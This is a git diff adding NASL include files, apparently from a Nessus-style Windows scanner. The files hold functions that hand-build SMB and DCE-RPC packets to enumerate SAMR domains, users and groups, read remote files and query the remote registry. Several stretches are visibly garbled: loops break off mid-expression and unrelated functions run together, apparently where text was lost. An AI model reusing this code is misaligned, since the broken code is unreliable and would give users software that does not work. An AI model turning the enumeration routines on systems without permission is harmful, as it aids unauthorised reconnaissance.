0x00, 0x03, 0x00, 0x00, 0x00, 0x38, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x05, 0x00) + samrhdl + + raw_string( dom_m_len_lo, dom_m_len_hi, dom_mm_len_lo, dom_mm_len_hi, 0x40, 0x7B, + 0x13, 0x00, dom_t_len_lo, dom_t_len_hi, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, dom_len_lo, dom_len_hi, 0x00) + dom + raw_string(0x00); + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + if(strlen(r) < 88)return(FALSE); + #display(ord(r[88]), "\n"); + + _sid = ""; + + for(i=0;i<28;i=i+1) + { + _sid = _sid + raw_string(ord(r[88+i])); + #display(hex(ord(r[88+i])), " "); + } + #display("\n"); + return(_sid); +} + + +#------------------------------------------------------# +# Opens a policy handle to a given domain # +#------------------------------------------------------# +function SamrOpenDomain(soc, tid, uid, pipe, samrhdl, sid) +{ + + #display("sid = ", strlen(sid), "\n"); + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + + len = 132 + strlen(sid); + len_h = len / 256; + len_l = len % 256; + + tdc = 48 + strlen(sid); + tdc_l = tdc % 256; + tdc_h = tdc / 256; + + bcc = tdc + 17; + bcc_l = bcc % 256; + bcc_h = bcc / 256; + req = raw_string(0x00, 0x00, + 0x00, 0xA0, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x10, 0x00, 0x00, 0x4C, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, 0x4C, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_lo, pipe_hi, 0x5D, 0x00, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0x33, 0x00, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x4C, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x34, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x07, 0x00) + samrhdl + + raw_string(0x00, 0x02, 0x00, 0x00) + sid; + + + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + if(strlen(r) < 30) + return(FALSE); + + #display(strlen(r),"\n"); + samrhdl = ""; + _len = strlen(r); + _len = _len - 24; + _z = 0; + for(i=0;i<20;i=i+1) + { + if(ord(r[i+_len]) == 0)_z = _z + 1; + samrhdl = samrhdl + raw_string(ord(r[i+_len])); + #display(hex(ord(r[i+_len])), " "); + } + #display("\n"); + #display("samhdl : ", strlen(samrhdl), "\n"); + if(_z == 20)return(NULL); + + return(samrhdl); +} + + +#------------------------------------------------------# +# NetUserModalsGet - does not work yet # +#------------------------------------------------------# +function SamrQueryDomainInfo(soc, tid, uid, pipe, samrhdl, level) +{ + #display("sid = ", strlen(sid), "\n"); + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + + req = raw_string(0x00, 0x00, + 0x00, 0x82, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x10, 0x00, 0x00, 0x2e, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, 0x2e, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_lo, pipe_hi, 0x3f, 0x00, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0x45, 0x00, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x2E, 0x00, + 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x16, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00) + samrhdl + + raw_string(level % 256, level / 256); + + + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + if(strlen(r) < 30) + return(FALSE); + + return r; +} + + +function SamrOpenBuiltin(soc, tid, uid, pipe, samrhdl) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + req = raw_string(0x00, 0x00, + 0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x10, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, 0x40, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_lo, pipe_hi, 0x51, 0x00, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x28, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x07, 0x00) + samrhdl + + raw_string( 0x80, 0x02, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x20, 0x00, 0x00, 0x00); + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + builtinhdl = ""; + _len = strlen(r); + _len = _len - 24; + _z = 0; + for(i=0;i<20;i=i+1) + { + if(ord(r[i+_len]) == 0)_z = _z + 1; + builtinhdl = builtinhdl + raw_string(ord(r[i+_len])); + #display(hex(ord(r[i+_len])), " "); + } + if(_z == 20)return(NULL); +#display("\n"); +#display("builtinhdl : ", strlen(builtinhdl), "\n"); + return(builtinhdl); + + +} + + +#------------------------------------------------------# +# Converts a username to its rid # +#------------------------------------------------------# +function SamrLookupNames(soc, uid, tid, pipe, name, domhdl) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + usr = samr_uc(name:name); + len = 164 + strlen(usr); + len_hi = len / 256; + len_lo = len % 256; + + + + tdc = 80 + strlen(usr); + tdc_l = tdc % 256; + tdc_h = tdc / 256; + + bcc = tdc + 17; + bcc_l = bcc % 256; + bcc_h = bcc / 256; + + x = strlen(usr) / 2; + x_h = x / 256; + x_l = x % 256; + + y = x + 1; + y_h = y / 256; + y_l = y % 256; + + z = strlen(usr); + z_l = z % 256; + z_h = z / 256; + + t = z + 2; + t_l = t % 256; + t_h = t / 256; + + + req = raw_string(0x00, 0x00, + len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x10, 0x00, 0x00, tdc_l, tdc_h, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, tdc_l, tdc_h, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_lo, pipe_hi, bcc_l, bcc_h, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0xAF, 0x47, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, tdc_l, tdc_h, + 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x44, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x11, 0x00) + domhdl + + raw_string(0x01, 0x00, 0x00, 0x00, 0xE8, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, z_l, z_h, t_l, t_h, 0xD8, 0x0E, + 0x41, 0x00, y_l, y_h, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, x_l, x_h, 0x00) + usr + + raw_string(0x00); + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + + if(strlen(r) < 100)return(FALSE); + + _rid = ""; +##display("RID : "); + _z = 0; + for(i=0;i<4;i=i+1) + { + if(ord(r[96+i]) == 0)_z = _z + 1; +# ##display(hex(ord(r[96+i])), " "); + _rid = _rid + raw_string(ord(r[96+i])); + } +##display("\n"); + if(_z == 4)return(NULL); + + return(_rid); +} + +#--------------------------------------------------------# +# Opens a policy handle to a given user # +#--------------------------------------------------------# +function SamrOpenUser(soc, uid, tid, pipe, samrhdl, rid) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + len = 176; + len_hi = len / 256; + len_lo = len % 256; + + req = raw_string(0x00, 0x00, + 0x00, 0x88, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x10, 0x00, 0x00, 0x34, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, 0x34, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_lo, pipe_hi, 0x45, 0x00, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0x33, 0x00, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x34, 0x00, + 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x1c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x22, 0x00) + samrhdl + + raw_string(0x1B, 0x01, 0x02, 0x00) + rid; + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + if(strlen(r) < 100)return(FALSE); + + _usrhdl = ""; + _len = strlen(r); + _len = _len - 24; + #display("usrhdl = "); + _z = 0; + for(i=0;i<20;i=i+1) + { + if(ord(r[i+_len]) == 0)_z = _z + 1; + _usrhdl = _usrhdl + raw_string(ord(r[i+_len])); + #display(hex(ord(r[i+_len])), " "); + } + + if(_z == 20)return(NULL); + + #display("\n"); + return(_usrhdl); +} + +#-------------------------------------------------------# +# Requests the list of groups to which the user belongs # +# to # +#-------------------------------------------------------# + +function SamrQueryUserGroups(soc, uid, tid, pipe, usrhdl) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + req = raw_string(0x00, 0x00, + 0x00, 0x80, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x10, 0x00, 0x00, 0x2C, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, 0x2C, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_lo, pipe_hi, 0x3D, 0x00, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x2C, 0x00, + 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x14, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x27, 0x00) + usrhdl; + + send(socket:soc, data:req); + r = recv(socket:soc, length:4096); + + + num_lo = ord(r[88]); + num_hi = ord(r[89]); + + num = num_hi * 256; + num = num + num_lo; + + # + # Ok. Our user is in groups. Let's decode their RID + # + + if(strlen(r) < 103) + return(FALSE); + base = 100; + rids = ""; + for(i=0;i", strlen(r), "<====\n"); + return(FALSE); + } + + + num_lo = ord(r[92]); + num_hi = ord(r[93]); + + num = num_hi * 256; + num = num + num_lo; + #display("NUM EGAL : ", num, "\n"); + base = 96; + rids = ""; + for(i=0;i +# +function OpenAndX(socket, uid, tid, file) +{ + local_var req, tid_lo, tid_hi, uid_lo, uid_hi, len_lo, len_hi, rep; + local_var fid_lo, fid_hi; + + + len_lo = (66 + strlen(file)) % 256; + len_hi = (66 + strlen(file)) / 256; + + tid_lo = tid % 256; + tid_hi = tid / 256; + + uid_lo = uid % 256; + uid_hi = uid / 256; + + bcc_lo = strlen(file) % 256; + bcc_hi = strlen(file) / 256; + + + req = raw_string(0x00, 0x00, len_hi, len_lo, 0xFF, 0x53, + 0x4D, 0x42, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_lo, tid_hi, + 0x00, 0x28, uid_lo, uid_hi, g_mlo, g_mhi, 0x0F, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x06, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, bcc_lo, bcc_hi) + file + + raw_string(0x00); + + + + send(socket:socket, data:req); + rep = smb_recv(socket:socket, length:4096); + if(strlen(rep) < 65)return(NULL); + else + { + fid_lo = ord(rep[41]); + fid_hi = ord(rep[42]); + + return(fid_lo + (fid_hi * 256)); + } +} + + +# +# Read bytes at offset +# +function ReadAndX(socket, uid, tid, fid, count, off) +{ + local_var r, req, uid_lo, uid_hi, tid_lo, tid_hi, fid_lo, fid_hi, off_hi, off_lo, ret, i; + + uid_lo = uid % 256; uid_hi = uid / 256; + tid_lo = tid % 256; tid_hi = tid / 256; + fid_lo = fid % 256; fid_hi = fid / 256; + cnt_lo = count % 256; cnt_hi = count / 256; + + off_lo_lo = off % 256; off /= 256; + off_lo_hi = off % 256; off /= 256; + off_hi_lo = off % 256; off /= 256; + off_hi_hi = off; + + req = raw_string(0x00, 0x00, 0x00, 0x37, 0xFF, 0x53, + 0x4D, 0x42, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_lo, tid_hi, + 0x00, 0x28, uid_lo, uid_hi, g_mlo, g_mhi, 0x0A, 0xFF, + 0x00, 0x00, 0x00, fid_lo, fid_hi, off_lo_lo, off_lo_hi, off_hi_lo, + off_hi_hi, cnt_lo, cnt_hi, cnt_lo, cnt_hi, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00); + + send(socket:socket, data:req); + r = smb_recv(socket:socket, length:65535); + ret = ""; + if(strlen(r) < 37 + 28)return(NULL); + return substr(r, 36+28, strlen(r) - 1); +} + + +# Returns the size of the file pointed by +function smb_get_file_size(socket, uid, tid, fid) +{ + local_var r, req, uid_lo, uid_hi, tid_lo, tid_hi, fid_lo, fid_hi, ret; + + uid_lo = uid % 256; uid_hi = uid / 256; + tid_lo = tid % 256; tid_hi = tid / 256; + fid_lo = fid % 256; fid_hi = fid / 256; + + + req = raw_string(0x00, 0x00, 0x00, 0x48, 0xFF, 0x53, + 0x4D, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_lo, tid_hi, + 0x00, 0x28, uid_lo, uid_hi, g_mlo, g_mhi, 0x0F, 0x04, + 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x11, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x44, 0x00, 0x00, 0x00, 0x48, + 0x00, 0x01, 0x00, 0x07, 0x00, 0x07, 0x00, 0x00, + 0x44, 0x20, fid_lo, fid_hi, 0x07, 0x01); + + send(socket:socket, data:req); + r = smb_recv(socket:socket, length:4096); + if(strlen(r) < 112) return -1; + + ret = ord(r[115]); + ret = ret * 256 + ord(r[114]); + ret = ret * 256 + ord(r[113]); + ret = ret * 256 + ord(r[112]); + + return ret; +} + +# +# Gives the listing in the pattern +# If pattern is set to NULL, then we return the +# content of the root (\*) +# +function FindFirst2(socket, uid, tid, pattern) +{ + local_var uid_lo, uid_hi, tid_lo, tid_hi, r, r2; + local_var t, nxt, off, name, ret, bcc, bcc_lo, bcc_hi; + local_var len, len_lo, len_hi; + local_var unicode_pattern, i; + local_var data_off, data_off_lo, data_off_hi, bcc2, bcc2_lo, bcc2_hi; + local_var eof, search_id, err; + + + if(isnull(pattern))pattern = "\*"; + + for(i=0;i= strlen(r))break; + + for(i=0;i<4;i++) + { + nxt += ord(r[off+i]) * t; + t *= 256; + } + + + + t = 1; + len = 0; + + if( off+4+4+8+8+8+8+8+8+4+i+4 >= strlen(r))break; + + for(i=0;i<4;i++) + { + len += ord(r[off+4+4+8+8+8+8+8+8+4+i]) * t; + t *= 256; + } + + + if(len >= strlen(r)) break; + + + name = NULL; + + if(off+4+4+8+8+8+8+8+8+4+4+1+1+24+i+len > strlen(r)) + break; + + for(i=0;i= strlen(r)) || off < 0 )return ret; + } + if ( eof ) break; + else { + req = raw_string(0x00, 0x00, 0x00, 0x52, 0xff, 0x53, 0x4d, 0x42, + 0x32, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0xC0, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, + uid_lo, uid_hi, g_mlo, g_mhi, 0x0f, 0x0e, 0x00, 0x00, + 0x00, 0x0a, 0x00, 0x04, 0x11, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, + 0x00, 0x44, 0x00, 0x00, 0x00, 0x52, 0x00, 0x01, + 0x00, 0x02, 0x00, 0x11, 0x00, 0x00, 0x44, 0x20) + search_id + raw_string(0x00, 0x02, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00); + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:65535); + err = substr(r, 11, 12); + if ( hexstr(err) != "0000" ) return NULL; + if ( strlen(r) <= 64 && hexstr(substr(r, 9, 12)) == "00000000" ) r = smb_recv(socket:soc, length:65535); + else if ( strlen(r) <= 64 ) break; + off = 68; + } + } + + return ret; +} + + + + + +function GetFileVersion(socket, uid, tid, fid) +{ + local_var i, fsize, data, off, tmp, version, v, len; + + fsize = smb_get_file_size(socket:socket, uid:uid, tid:tid, fid:fid); + if ( fsize < 720896 ) + off = 0; + else + off = fsize - 720896 ; + + + for ( i = 0 ; off < fsize ; i ++ ) + { + tmp = ReadAndX(socket:soc, uid:uid, tid:tid, fid:fid, count:16384, off:off); + tmp = str_replace(find:raw_string(0), replace:"", string:tmp); + data += tmp; + version = strstr(data, "ProductVersion"); + if ( version ) + { + len = strlen(version); + for(i=strlen("ProductVersion");i ord("9")) && version[i] != ".") + return (v); + else + v += version[i]; + } + } + off += 16384; + } + + return NULL; +} + diff --git a/content/WinVA/plugins/smb_reg.inc b/content/WinVA/plugins/smb_reg.inc new file mode 100644 index 0000000..075d7ca --- /dev/null +++ b/content/WinVA/plugins/smb_reg.inc @@ -0,0 +1,541 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_reg.inc +# $Revision: 1.1 $ +# + + +#==================================================================# +# Section 7. Registry API # +#==================================================================# + + + +#---------------------------------------------------------# +# Function : RegConnectRegistry # +# Description : Connects to the remote registry. # +# if not hkey connects to HKLM # +# Return : ret[0] : registry handle # +# ret[1] : registry pipe # +# ret[2] : 1 (Pipe handle) # +#---------------------------------------------------------# + +function RegConnectRegistry (hkey) +{ + local_var fid, ret, data, type, resp, rep; + + if (isnull (hkey)) + type = HKEY_LOCAL_MACHINE; + else + type = hkey; + + fid = bind_pipe (pipe:"\winreg", uuid:"338cd001-2244-31f1-aaaa-900038001003", vers:1); + if (isnull (fid)) + return NULL; + + data = raw_dword (d:0x00020000) + + raw_word (w:0x75A0) + + raw_word (w:0x0000) + + raw_dword (d:0x02000000) ; # FULL_ACCESS + + data = dce_rpc_pipe_request (fid:fid, code:type, data:data); + if (!data) + return NULL; + + # response structure : + # Policy handle (20 bytes) + # return code (dword) + + rep = dce_rpc_parse_response (fid:fid, data:data); + if (!rep || (strlen (rep) != 24)) + return NULL; + + resp = get_dword (blob:rep, pos:20); + if (resp != STATUS_SUCCESS) + return NULL; + + ret = NULL; + ret[0] = substr (rep, 0, 19); + ret[1] = fid; + ret[2] = 1; + + return ret; +} + + + +#---------------------------------------------------------# +# Function : RegOpenKey # +# Description : Open the given key # +# Return : ret[0] Key handle # +# ret[1] FID # +# ret[2] reserved # +#---------------------------------------------------------# + +function RegOpenKey (handle, key, mode) +{ + local_var data, resp, rep, name, ret, len; + + name = cstring (string:key); + len = strlen(name); + + data = handle[0] + # Handle + + class_parameter (ref_id:0x00020000, name:key, size:TRUE) + + + raw_dword (d:0) + # Unknown + raw_dword (d:mode) ; # Mask + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_OPENKEY, data:data); + if (!data) + return NULL; + + # response structure : + # Policy handle (20 bytes) + # return code (dword) + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) != 24)) + return NULL; + + resp = get_dword (blob:rep, pos:20); + if (resp != STATUS_SUCCESS) + return NULL; + + ret = NULL; + ret[0] = substr (rep, 0, 19); + ret[1] = handle[1]; + ret[2] = 0; + + return ret; +} + + + +#---------------------------------------------------------# +# Function : RegQueryInfoKey # +# Description : Retrieve key information # +# Return : returns number of values and sub keys # +# ret[0] values # +# ret[1] subkeys # +#---------------------------------------------------------# + +function RegQueryInfoKey (handle) +{ + local_var data, resp, rep, ret; + + data = handle[0] + # Handle + raw_word (w:0) + # Length + raw_word (w:0) + # Size + raw_dword (d:0); # NULL + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_QUERYINFOKEY, data:data); + if (!data) + return NULL; + + # response structure : + # Class (bad parsed here) + # num subkeys + # max subkey len + # reserved + # num value + # max value len + # max valbuf size + # secdesc len + # mod time + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) != 48)) + return NULL; + + resp = get_dword (blob:rep, pos:44); + if (resp != STATUS_SUCCESS) + return NULL; + + ret = NULL; + ret[0] = get_dword (blob:rep, pos:20); + ret[1] = get_dword (blob:rep, pos:8); + + return ret; +} + + + +#---------------------------------------------------------# +# Function : RegQueryValue # +# Description : Retrieve value about key's item # +# Return : returns item value # +# ret[0] type # +# ret[1] value # +#---------------------------------------------------------# + +function RegQueryValue (handle, item) +{ + local_var data, resp, rep, ret, name, len; + local_var ref_id, key_type, key_data, code, max_count, offset, actual_count, pos; + + if (strlen(item) > 0) + name = class_parameter (ref_id:0x00020000, name:item, size:TRUE); + else + name = raw_word(w:2) + raw_word (w:0) + raw_dword (d:0); # (default) value does not work with RegQueryValueEx + + data = handle[0] + # Handle + + # Class + name + + + # Reserved + buffer_parameter (ref_id:0x00020004, size:0) + + + # Offered + buffer_parameter (ref_id:0x00020008, size:0xFFFF) + + + raw_dword (d:0) + # unknown + raw_dword (d:0) + # unknown + + # Offered + buffer_parameter (ref_id:0x0002000C, size:0xFFFF) + + + # Returned + buffer_parameter (ref_id:0x00020010, size:0); + + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_QUERYVALUE, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 24)) + return NULL; + + # Key Type + ref_id = get_dword (blob:rep, pos:0); + key_type = get_dword (blob:rep, pos:4); + + # Key Data + ref_id = get_dword (blob:rep, pos:8); + max_count = get_dword (blob:rep, pos:12); + offset = get_dword (blob:rep, pos:16); + actual_count = get_dword (blob:rep, pos:20); + if (strlen(rep) < 24+actual_count+20) + return NULL; + + pos = 0; + + if ((key_type == REG_SZ) || (key_type == REG_EXPAND_SZ) || (key_type == REG_MULTI_SZ)) + { + key_data = get_string2 (blob:rep, pos:24, len:actual_count, _type:UNICODE_STRING); + while ((actual_count % 4) != 0) + { + actual_count++; + pos++; + } + } + else if (key_type == REG_DWORD) + { + key_data = get_dword (blob:rep, pos:24); + } + else + key_data = substr (rep, 24, 24+actual_count-1); + + # Return code + code = get_dword (blob:rep, pos:strlen(rep)-4); + if (code != STATUS_SUCCESS) + return NULL; + + ret = NULL; + ret[0] = key_type; + ret[1] = key_data; # we must convert type here + + return ret; +} + + + +#---------------------------------------------------------# +# Function : RegEnumValue # +# Description : Retrieve index type and value # +# Return : returns key value # +# ret[0] type # +# ret[1] value # +#---------------------------------------------------------# + +function RegEnumValue (handle, index) +{ + local_var data, resp, rep, ret, name, len, pos; + local_var unknown1, unknown2, ref_id, key_type, key_name, reserved, val, code, len_2; + + data = handle[0] + # Handle + + raw_dword (d:index) + # num + raw_dword (d:0x20000000) + # unknown + + raw_dword (d:0x20000) + # Referent ID + raw_dword (d:0x1000) + # unknown + raw_dword (d:0) + # unknown + raw_dword (d:0) + # unknown + + raw_dword (d:0x20004) + # Referent ID + raw_dword (d:0) + # Pointer + raw_dword (d:0) + # reserved + + buffer_parameter (ref_id:0x00020008, size:0) + + + buffer_parameter (ref_id:0x0002000C, size:0); + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_ENUMVALUE, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 24)) + return NULL; + + # Key name + len = get_word (blob:rep, pos:0); + unknown1 = get_word (blob:rep, pos:2); # 0x200 ? + ref_id = get_dword (blob:rep, pos:4); + unknown2 = get_dword (blob:rep, pos:8); + reserved = get_dword (blob:rep, pos:12); + len_2 = get_dword (blob:rep, pos:16); + + pos = 20 + len; + # Extra 2 bytes pad if len_2 odd + if ((len_2 % 2) == 1) + pos += 2; + + if (strlen (rep) < pos+32) + return NULL; + + key_name = get_string (blob:rep, pos:20); + + # Key type + ref_id = get_dword (blob:rep, pos:pos); + key_type = get_dword (blob:rep, pos:pos+4); + reserved = get_dword (blob:rep, pos:pos+8); + + # Offered + ref_id = get_dword (blob:rep, pos:pos+12); + val = get_dword (blob:rep, pos:pos+16); + + # Returned + ref_id = get_dword (blob:rep, pos:pos+20); + val = get_dword (blob:rep, pos:pos+24); + + # Return code + code = get_dword (blob:rep, pos:pos+28); + if (code != STATUS_SUCCESS) + return NULL; + + ret = NULL; + ret[0] = key_type; + ret[1] = key_name; + + return ret; +} + + +#---------------------------------------------------------# +# Function : RegEnumKey # +# Description : Returns key's index name # +#---------------------------------------------------------# + +function RegEnumKey (handle, index) +{ + local_var data, resp, rep, ret, name, len, len_2; + local_var unknown1, unknown2, ref_id, key_type, key_name, reserved, code, pos; + + data = handle[0] + # Handle + + raw_dword (d:index) + # num + raw_dword (d:0x20000000) + # unknown + + raw_dword (d:0x20000) + # Referent ID + raw_dword (d:0x1000) + # unknown + raw_dword (d:0) + # unknown + raw_dword (d:0) + # unknown + + raw_dword (d:0x20004) + # 